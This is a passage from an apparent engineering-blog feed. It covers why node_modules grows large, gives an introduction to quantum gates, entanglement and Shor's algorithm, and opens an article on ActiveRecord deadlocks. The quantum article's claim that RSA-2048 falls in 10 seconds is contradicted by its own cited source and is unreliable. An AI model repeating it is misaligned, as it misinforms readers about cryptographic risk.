you need to support IE11.&lt;/p&gt;
&lt;p&gt;Fortunately, there&apos;s a pretty robust toolchain for using the latest language features in web applications while maintaining support for older browsers. It goes something like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://webpack.js.org&quot;&gt;webpack&lt;/a&gt; combines your source code into shippable bundles, runs each file through loaders to perform any necessary transpilation, and also handles extras like minification.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://babeljs.io&quot;&gt;Babel&lt;/a&gt; transpiles JavaScript to remove syntax that&apos;s unsupported in older browsers (for example, arrow functions are turned into regular functions to avoid breaking IE11). Babel can also handle polyfilling language features that you depend on, using...&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zloirock/core-js&quot;&gt;core-js&lt;/a&gt; provides implementations of recent language features — array/string convenience methods, completely new built-in objects like &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy&quot;&gt;Proxy&lt;/a&gt;, and more. Babel can automatically detect which language features are used in your code and hook up the appropriate core-js implementation.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/browserslist/browserslist&quot;&gt;Browserslist&lt;/a&gt; is a standardized configuration format to specify which browsers you want to support. It can accept literal versions like &lt;code&gt;Internet Explorer 11&lt;/code&gt; or queries like &lt;code&gt;&gt;1%&lt;/code&gt; (browser versions with more than 1% global usage), &lt;code&gt;last 3 Chrome versions&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/browserslist/caniuse-lite&quot;&gt;caniuse-lite&lt;/a&gt; is a database showing which features are supported by which browsers; it&apos;s used by Babel and other tools to determine what needs to be polyfilled to support the browsers you&apos;ve requested.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With this toolchain in place, you can happily write JavaScript using the latest language features and not worry about browser support, which is great for productivity and provides a good end-user experience as well. But it comes at a cost — the packages listed above and more end up in your &lt;code&gt;node_modules&lt;/code&gt;, and they aren&apos;t small. Webpack itself is 2.7MB, core-js is something like 7MB, Babel and its accessory packages come in at around 10MB, and caniuse-lite is 3.2MB worth of data — it adds up. And there&apos;s nothing really egregious here in a vacuum; it&apos;s unsurprising, for example, that the implementations of hundreds of modern JavaScript language features collectively weigh 7MB. But it&apos;s certainly a major contributing factor to the overall size of the average &lt;code&gt;node_modules&lt;/code&gt;. We&apos;ve traded an eye-opening amount of disk space for a great developer workflow and a consistent experience for end users.&lt;/p&gt;
&lt;h2&gt;Packages on packages&lt;/h2&gt;
&lt;p&gt;Did you know that either npm or yarn will happily install multiple versions of the same package? Imagine you&apos;ve got package A and package B in your dependencies list. Both A and B depend on package C but with incompatible version requirements. In ruby, this produces an installation error and you&apos;re left to work out a consistent dependency tree on your own. npm and yarn, on the other hand, will happily install multiple versions of package C. They accomplish this by giving packages A and B each their own nested &lt;code&gt;node_modules&lt;/code&gt; folder containing their desired version of C. JavaScript dependencies are resolved by ascending the filesystem to find the closest &lt;code&gt;node_modules&lt;/code&gt;, so packages without conflicts can be deduped to the top level while conflicted packages are kept in nested directories.&lt;/p&gt;
&lt;p&gt;There are certainly some benefits to this approach. I have spent many long hours working through version conflicts in ruby, where seemingly unrelated gems demand inconsistent versions of a shared dependency. But this approach inevitably results in a &lt;em&gt;lot&lt;/em&gt; of duplicate packages, and there&apos;s also not much you can do about it. To some extent, this behavior is a necessary consequence of an ecosystem with a greater reliance on helper packages. It would be hellacious trying to get dozens of packages to agree on the same set of helper versions; it&apos;s bad enough in ruby where only a few packages are usually in conflict. Regardless, duplicate package versions should be kept in the back of your mind when trying to understand &lt;code&gt;node_modules&lt;/code&gt; bloat.&lt;/p&gt;
&lt;h2&gt;So where does that leave us?&lt;/h2&gt;
&lt;p&gt;Hopefully, this article leaves you with a better sense of how we got here and where the ecosystem is headed. To a large extent, I expect the scope of the problem to recede on its own as the new and more robust standard library features gain broad support and replace obsolete helper packages. But it&apos;s a naturally slow process that&apos;s rendered even slower by inertia and by the need for tooling to support legacy browsers. As a JavaScript engineer, the best way to speed the process along is by learning and spreading awareness of the latest and greatest features in the standard library. You could even send pull requests upstream if you find that you&apos;re using a package that pulls in a lot of obsolete helpers. &lt;a href=&quot;https://docs.npmjs.com/cli/v7/commands/npm-ls&quot;&gt;npm ls&lt;/a&gt; and &lt;a href=&quot;https://www.npmjs.com/package/npm-why&quot;&gt;npm why&lt;/a&gt; (or &lt;a href=&quot;https://classic.yarnpkg.com/en/docs/cli/list&quot;&gt;yarn list&lt;/a&gt; and &lt;a href=&quot;https://classic.yarnpkg.com/en/docs/cli/why&quot;&gt;yarn why&lt;/a&gt;) are great aides in learning about your dependency tree and where each package is coming from.&lt;/p&gt;
&lt;p&gt;The last thought I&apos;ll leave you with is this: don&apos;t stress too much about it. Be honest — when was the last time that you spent even a few minutes dealing with a problem caused by 100MB of used hard drive space? I&apos;m fairly certain that I&apos;ve invested more brain cycles writing this article than I&apos;ve ever spent on that particular class of problem. It &lt;em&gt;feels&lt;/em&gt; wrong and can be hard to stomach, especially if you were programming in a time when hard drive space was at a premium. But it&apos;s just not that big of an issue in practice, and it&apos;s a problem that&apos;s easily solved if it does arise by spending a fairly negligible amount of money. As with any issue, you&apos;re best served focusing your mental energy where it creates the most leverage, which is usually solving hard business problems to provide value to your end users.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Quantum computing in the real world]]></title><description><![CDATA[Why does it matter? As we have recently entered a new decade, I have been thinking about the next leaps in computer science and where some…]]></description><link>https://www.aha.io/engineering/articles/quantum-computing-explained</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/quantum-computing-explained</guid><dc:creator><![CDATA[Toray Altas]]></dc:creator><pubDate>Mon, 29 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why does it matter?&lt;/h2&gt;
&lt;p&gt;As we have recently entered a new decade, I have been thinking about the next leaps in computer science and where some of those areas may be. One such area that I have read a lot about in passing but never really explored is quantum computing. I believe quantum computing may become very important in the future, as it will provide us with an opportunity to do parallel computing in ways that have never been possible before with classical computers. Such areas include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cryptography - Encryption and SSL may &lt;a href=&quot;https://www.digicert.com/dc/blog/category/pqc/&quot;&gt;fundamentally change&lt;/a&gt; and allow for true &quot;&lt;a href=&quot;https://www.quantamagazine.org/how-to-turn-a-quantum-computer-into-the-ultimate-randomness-generator-20190619/&quot;&gt;randomisation&lt;/a&gt;&quot; when it comes to key generation. This will perhaps have the most impact on software organisations like Aha!&lt;/li&gt;
&lt;li&gt;Molecular analysis - with the current pandemic, we have seen a rapid rise in popularity of such projects as the &quot;Folding at home&quot; where &lt;a href=&quot;https://foldingathome.org/2020/03/15/coronavirus-what-were-doing-and-how-you-can-help-in-simple-terms/&quot;&gt;analysis of the coronavirus protein movements&lt;/a&gt; are done using a volunteer distributed computing model. This could be done in a much more efficient way using quantum computing not only for the current virus, but many &lt;a href=&quot;https://www.ibm.com/blogs/research/2019/06/molecular-quantum-hardware/&quot;&gt;molecular components&lt;/a&gt; and interactions such as new pharmaceutical drugs in humans.&lt;/li&gt;
&lt;li&gt;Optimisation - imagine running a large airline where you have multiple variables in determining the most efficient way to use your resources (planes, routes, pilots, etc). Currently this is difficult and complicated to calculate using conventional computers, these kinds of &lt;a href=&quot;https://arxiv.org/abs/1508.04212&quot;&gt;optimisation problems&lt;/a&gt; are what some quantum computers thrive at.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Annealing vs gate&lt;/h3&gt;
&lt;p&gt;There are currently two types of quantum computers in production: annealing quantum computers and gate based quantum computers. Annealing computers are generally used for specific types of optimisation problems, while gate based computers aim to be a more universal computer that can solve a multitude of problem types. This article aims to cover gate-based quantum computers given their universality.&lt;/p&gt;
&lt;h3&gt;Superposition and entanglement&lt;/h3&gt;
&lt;p&gt;In order to understand how a gate-based quantum computer works, we need to understand two principles of quantum physics: superposition and entanglement.&lt;/p&gt;
&lt;p&gt;Superposition — In classical computers we always know that a bit is either a 0 or 1. Anything else is simply an error state. However in quantum computers, using the principle of superposition, a quantum bit (qubit), can both be a 0 and 1 at the same time. When we &quot;observe&quot; a qubit as a classical bit, it collapses back to a 0 or a 1 based on a probabilistic model.&lt;/p&gt;
&lt;p&gt;Entanglement — This is a more complicated principle in quantum computing and can be the most difficult to conceptualise. When we have two qubits that are in superposition (i.e. the qubits represent the states 00, 01, 10, and 11 at the same time), and we collide the two qubits together, upon collapsing one of the qubits to its classical state, we know what the outcome of the other non collapsed qubit will be when we collapse it. So the two qubits are correlated, upon entangling them together. An example further down in this article will help explain this further.&lt;/p&gt;
&lt;h2&gt;Quantum computing gates&lt;/h2&gt;
&lt;h3&gt;Quantum 101&lt;/h3&gt;
&lt;p&gt;Going back to your 101 computer science class, in a classical computer, we represent a classical &quot;bit&quot; as a scalar number, a 0 or a 1. In a quantum computer, we represent a &quot;qubit&quot; (quantum bit) as a vector:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/1fe0cd62a5592db0bb56ccacf0f5e5d8/0qubit.png&quot; alt=&quot;0 qubit&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this image, we see a 0 qubit, as the top number in the vector represents the probability of a 0 after classical bit measurement. So there is a 1 representing a 100% chance of observing a &quot;0&quot; bit upon measuring with a classical bit. Conversely, the bottom number in the vector represents the chance of seeing a 1 bit upon observing the qubit. It has a 0 probability.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/435e45707c73f8c47598b48c0fbd3d93/1qubit.png&quot; alt=&quot;1 qubit&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is the same with a 1 qubit, but in reverse, where we see that the bottom number in the vector represents the probability of a 1 after classical bit measurement, with a 100% chance of observing a 1 and 0% chance of observing a 0.&lt;/p&gt;
&lt;p&gt;Very simple, right? Just like in classical computing, these qubits become interesting when you start applying gate logic to them. In classical computers we use scalar boolean algebra to determine the output based on the input. In quantum computing we need to use matrix algebra to determine the output based on the input. The advantage of using matrix algebra over scalar algebra, is that we are able to parallelise out computations over multiple inputs/outputs rather than just a single input/output.&lt;/p&gt;
&lt;p&gt;Let&apos;s look at a &quot;not gate&quot;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/1fa617a6ec2121d1f0e6a25f2a8c4a4c/notgate.png&quot; alt=&quot;Not gate&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this diagram, we can see the &lt;a href=&quot;https://www.mathsisfun.com/algebra/matrix-multiplying.html&quot;&gt;dot product&lt;/a&gt; of a not gate matrix with a 0 qubit vector produces a 1 qubit vector upon evaluation (the reverse being true for a not on a 1 qubit vector).&lt;/p&gt;
&lt;p&gt;This is a simple example of how gates work in quantum computing. However things begin to get more interesting when we do not have a 100% probabilistic outcome of a 0 or 1.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/0500a72352c2bde5f1dd0220f8ebb4de/hadamard.png&quot; alt=&quot;Hadamard gate&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is a Hadamard gate — upon applying this to a 0 qubit, we get this strange result in the vector with non-integer numbers. What does this mean?&lt;/p&gt;
&lt;p&gt;As earlier explained, the top number in a qubit vector represents the probability of a 0, and second the probability of a 1. What I didn&apos;t say for simplicity&apos;s sake, was that you need to square the probabilistic value in order to determine its probability. So in the results of the Hadamard gate being applied to a 0 qubit, there is a 50% chance of 0 and a 50% chance of a 1. This is called superposition, as the qubit is both a 0 and 1 until observed in the classical world!&lt;/p&gt;
&lt;h3&gt;Representation of bits&lt;/h3&gt;
&lt;p&gt;As seen, we can represent a single quantum as a vector, but how do we represent multiple bits?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/c0c4653f91cbc07c9e4b13387cb1509c/tensor.png&quot; alt=&quot;Tensor multiple bits&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can display them mathematically as vectors being &lt;a href=&quot;https://www.math3ma.com/blog/the-tensor-product-demystified&quot;&gt;tensor multiplied&lt;/a&gt;. We can see here a 110 being represented as a single vector after being tensor multiplied together. You can observe that the probabilistic model still holds for a single vector that is longer than just 2. The top number represents the probability of a 000, second number a 001, third number 010, etc until we get to the second last number which represents a 110 with 100% chance (from the 1).&lt;/p&gt;
&lt;p&gt;This is important if we want to understand an entanglement circuit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/078b827b5680e9e36e5c3afa946ad9ed/entanglement.png&quot; alt=&quot;Entanglement circuit&quot;&gt;&lt;/p&gt;
&lt;p&gt;The initial state for our two qubit is 0 each (represented by the tensor product). We then apply a Hadamard gate to put one of the gates into superposition, followed by actually calculating the tensor product so we get a vector with length 4. We then apply a special gate called a &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Controlled_NOT_gate&quot;&gt;controlled not gate&lt;/a&gt;&quot;, represented by the 4x4 matrix. Which lands at a slightly modified vector with length 4.&lt;/p&gt;
&lt;p&gt;Now if we try to factor that vector of length 4 to be 2 vectors of length 2 each, i.e. represent the results as 2 qubits, we find we actually mathematically can&apos;t. It’s kind of like trying to refactor the prime number 13 into its factors. If we look at the probabilities of this single vector of length 4, we observe that we have a 50% chance of observing a 00 and a 50% chance of observing a 11 if we collapse the qubits state back to the classical world. So we can confidently say, if we observe one qubit in the classical world, and it turns out to be 0, then it follows that we immediately know that the other qubit will also collapse to 0. Conversely, if we observe one qubit in the classical world, and it turns out to be 1, then it follows that we immediately know that the other qubit will also collapse to 1.&lt;/p&gt;
&lt;p&gt;Congratulations, you have now mathematically shown the entanglement principle of quantum mechanics that we mentioned earlier!&lt;/p&gt;
&lt;h2&gt;The real world&lt;/h2&gt;
&lt;p&gt;We can actually run this circuit on a real quantum computer using &lt;a href=&quot;https://quantum-computing.ibm.com/&quot;&gt;IBM&apos;s cloud quantum computing platform&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/d59ab3f5f2fb5028d87c43c01244ca99/ibm.png&quot; alt=&quot;IBM quantum experience&quot;&gt;&lt;/p&gt;
&lt;p&gt;However, what we observe is that it isn&apos;t quite 100% of the time 00 or 11. There is some noise! This is because in the real world, quantum computers are delicate machines highly sensitive to outside interference. This is why if we run this circuit 1000 times, we see that sometimes it can stray from what the theoretical results can be, just like silicon in a classical computer can have errors due to physical imperfections.
At the time of this writing, there are some limitations in quantum computers that are available. Most quantum computers today do not have many bits available to use due to the high error rate with each additional bit made available, so it makes it impractical for some of the uses we talked about earlier.&lt;/p&gt;
&lt;p&gt;That said, one of the most talked-about algorithms where quantum computing will end up being used— is Shor&apos;s algorithm:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/aa63f17d0d51f73411b6a431271dec72/shor.png&quot; alt=&quot;Part of Shor&amp;#x27;s algorithm&quot;&gt;&lt;/p&gt;
&lt;p&gt;A quantum computer using Shor&apos;s algorithm can break down a RSA-2048 bit encryption key in 10 seconds, where a classical computer would take 30+ million years to do it. This would fundamentally change the way we use the internet and how to encrypt our sensitive data. Luckily, there are countermeasures to this with &lt;a href=&quot;https://www.scientificamerican.com/article/new-encryption-system-protects-data-from-quantum-computers/&quot;&gt;quantum encryption methods&lt;/a&gt;. It is also somewhat moot, as we need a 4000 bit quantum computer that has a low error rate, and at the moment, the quantum computer with the most bits has about 100. Many people are trying to project when we will get a 4000 bit quantum computer, but it&apos;s hard to be a Nostradamus when the industry is in its infancy.&lt;/p&gt;
&lt;p&gt;Given all this, I think it&apos;s prudent for us to keep an eye on developments in this field and to understand the advantages and disadvantages of quantum computing as a whole.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;FAST QUANTUM MODULAR EXPONENTIATION ARCHITECTURE FOR SHOR’S FACTORING ALGORITHM - ARCHIMEDES PAVLIDIS, DIMITRIS GIZOPOULOS, 2013 &lt;a href=&quot;https://arxiv.org/pdf/1207.0511.pdf&quot;&gt;https://arxiv.org/pdf/1207.0511.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Quantum Annealing for Prime Factorization - Shuxian Jiang, Keith A. Britt, Alexander J. McCaskey, Travis S. Humble &amp;#x26; Sabre Kais, 2018 &lt;a href=&quot;https://www.nature.com/articles/s41598-018-36058-z&quot;&gt;https://www.nature.com/articles/s41598-018-36058-z&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;How to factor 2048 bit RSA integers in 8 hours using 20 million noisy qubits, Craig Gidney and Martin Ekerå, 2019 &lt;a href=&quot;https://arxiv.org/pdf/1905.09749.pdf&quot;&gt;https://arxiv.org/pdf/1905.09749.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Breaking RSA Encryption – an Update on the State-of-the-Art, Andreas Baumhof, 2019 &lt;a href=&quot;https://www.quintessencelabs.com/blog/breaking-rsa-encryption-update-state-art/&quot;&gt;https://www.quintessencelabs.com/blog/breaking-rsa-encryption-update-state-art/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Quantum Computing for Computer Scientists, Andrew Helwer, 2018, &lt;a href=&quot;https://www.microsoft.com/en-us/research/video/quantum-computing-computer-scientists/&quot;&gt;https://www.microsoft.com/en-us/research/video/quantum-computing-computer-scientists/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IBM quantum computing, 2020, &lt;a href=&quot;https://quantum-computing.ibm.com/&quot;&gt;https://quantum-computing.ibm.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Introduction To The Physics Of D-Wave and Comparison To Gate Model, Joel M. Gottlieb, 2018, &lt;a href=&quot;https://arcb.csc.ncsu.edu/~mueller/qc/qc18/readings/gottlieb2.pdf&quot;&gt;https://arcb.csc.ncsu.edu/~mueller/qc/qc18/readings/gottlieb2.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Transaction deadlocks on ActiveRecord associations]]></title><description><![CDATA[Everyone is thrilled with the new feature you’ve just deployed! But as it starts
to gain popularity, you wonder if there might be a bug…]]></description><link>https://www.aha.io/engineering/articles/transaction-deadlocks-in-activerecord</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/transaction-deadlocks-in-activerecord</guid><dc:creator><![CDATA[Andrew Vit]]></dc:creator><pubDate>Wed, 24 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Everyone is thrilled with the new feature you’ve just deployed! But as it starts
to gain popularity, you wonder if there might be a bug despite all the testing
and code review that you and your team have done. The more it gets used, the
more you start to notice some frustrating, hard-to-reproduce errors: &lt;em&gt;database
deadlocks&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This class of errors is often discovered only after heavy usage in production —
seemingly rare and unlikely to start with — but can become crippling under a
critical mass of simultaneous web users and parallel background jobs.&lt;/p&gt;
&lt;p&gt;I’d like to share a technique for identifying the root cause of a deadlock, how
Ruby on Rails can sometimes be a confounding factor, and a solution I’ve
contributed that has all but eliminated deadlocks at Aha!&lt;/p&gt;
&lt;h2&gt;Understanding deadlocks&lt;/h2&gt;
&lt;p&gt;To understand how deadlocks happen and where to start looking, let’s review the
minimum ingredients needed to cause the most basic scenario:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Two sessions each open a new transaction with BEGIN&lt;/li&gt;
&lt;li&gt;Two records are updated within transaction A&lt;/li&gt;
&lt;li&gt;The same two records are updated within transaction B&lt;/li&gt;
&lt;li&gt;One transaction is aborted with a ROLLBACK&lt;/li&gt;
&lt;li&gt;One transaction completes with a COMMIT&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We’ll examine specifically how a deadlock happens in more detail next, but it
helps to keep these points in mind like actors in a play — since it’s easy to
forget that there’s always a second transaction, and at least one other record
involved.&lt;/p&gt;
&lt;p&gt;When troubleshooting a real-world deadlock, the error message we get only shows
half the problem, and we actually need to find out what led up to it. But it
does give some clues:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ERROR: deadlock detected&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DETAIL: Process 65998 waits for ShareLock on transaction 1370564288; blocked by process 82788.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        Process 82788 waits for ShareLock on transaction 1370564343; blocked by process 65998.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;HINT: See server log for query details.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;CONTEXT: while updating tuple (737645,60) in relation &quot;features&quot; :&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;         UPDATE &quot;features&quot; SET &quot;updated_at&quot; = &apos;2019-12-17 16:19:59.476689&apos; WHERE &quot;features&quot;.&quot;id&quot; = $1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It tells us there are two processes here — each one waiting on the other to
release a lock. This also shows us the query that caused the rollback to happen
so we can find it in our logs. But we still need to gather 3 critical pieces of
information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What was the &lt;strong&gt;other transaction&lt;/strong&gt; that successfully updated this record at the same time?&lt;/li&gt;
&lt;li&gt;What other records were &lt;strong&gt;updated in this transaction&lt;/strong&gt; before the rollback?&lt;/li&gt;
&lt;li&gt;What record updates are &lt;strong&gt;in common with the other transaction&lt;/strong&gt;?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Identifying the cause&lt;/h2&gt;
&lt;p&gt;If you’re able to get full query logs from the database, this will be much
easier. You will need to capture any updates to the same record around
the time of the error. Here are some tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Search for log entries that &lt;code&gt;UPDATE&lt;/code&gt; the table name and primary key from the
error message. (Make sure to consider &lt;code&gt;UPDATE&lt;/code&gt; statements, as well as any
explicit locks. These show up as &lt;code&gt;SELECT ... FOR UPDATE&lt;/code&gt;.)&lt;/li&gt;
&lt;li&gt;Identify the process running the &lt;code&gt;UPDATE&lt;/code&gt; statement that appears right before the
&lt;code&gt;ROLLBACK&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Identify the other processes running an &lt;code&gt;UPDATE&lt;/code&gt; on the same record right around
that time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By copying the log statements for each process side-by-side in a
spreadsheet, we can sort them by timestamp to reveal the actual sequence of
events. Seeing it like this really helps to reveal what’s happening:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/5f8291c31830c69c6c7e07f8f7a023ed/deadlocks-1.svg&quot; alt=&quot;deadlocks-1&quot;&gt;&lt;/p&gt;
&lt;p&gt;The arrow points from the aborted update that caused the error message, back to
the same record being updated in a concurrent transaction. Here, process 1 needs
to wait for process 2 to commit and release the lock. Normally, it would do
that.&lt;/p&gt;
&lt;p&gt;But if we peek between these two timestamps, there was another record also being
updated by both transactions, also waiting for a lock to be released:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/270702af4e6eb4d163f81a8def1d069d/deadlocks-2.svg&quot; alt=&quot;deadlocks-2&quot;&gt;&lt;/p&gt;
&lt;p&gt;This &quot;X&quot; where the arrows cross is what a classic deadlock looks like:
process 1 was already waiting on process 2 to commit! The situation
will never resolve itself by waiting any longer, and as the two transactions are
waiting on each other, the database has no choice but to abort one of them.&lt;/p&gt;
&lt;p&gt;The lesson here is to avoid updating records in opposite order. Making sure to
consistently apply updates in the same order throughout your code means there
would be no deadlock: a well-behaved transaction would wait on the first lock it
encounters, and because it hasn’t touched anything else out of order in the
meantime, it doesn’t block the other transaction from finishing.&lt;/p&gt;
&lt;h2&gt;Back in ActiveRecord&lt;/h2&gt;
&lt;p&gt;Equipped with this information, we can now go back to our Rails application and
simply examine the two transaction blocks and arrange them to perform updates in
the same order — and we’re done!&lt;/p&gt;
&lt;p&gt;But not so fast... what if there is nothing to rearrange, and after eliminating
every possible conflict, all we find is something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;transaction &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  feature.save!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There’s actually much more being done for us automatically within transaction
blocks that&apos;s not shown here. From the database’s point of view, that simple
block looks more like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;transaction &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # BEGIN;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  feature.save!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # UPDATE features SET name = &apos;test&apos; WHERE id = 1;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  _run_before_commit_callbacks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # UPDATE epics SET updated_at = &apos;2020-01-01&apos; WHERE id = 2;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # UPDATE releases SET updated_at = &apos;2020-01-01&apos; WHERE id = 3;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # COMMIT;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is all because we rely on ActiveRecord’s &lt;code&gt;touch: true&lt;/code&gt; &lt;a href=&quot;https://guides.rubyonrails.org/association_basics.html#options-for-belongs-to&quot;&gt;association
options&lt;/a&gt; to automatically update parent records whenever
something changes. These can be chained together, too:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Requirement&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationModel&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  belongs_to &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:feature&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;touch:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Feature&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationModel&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  belongs_to &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:epic&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;touch:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  belongs_to &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:release&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;touch:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
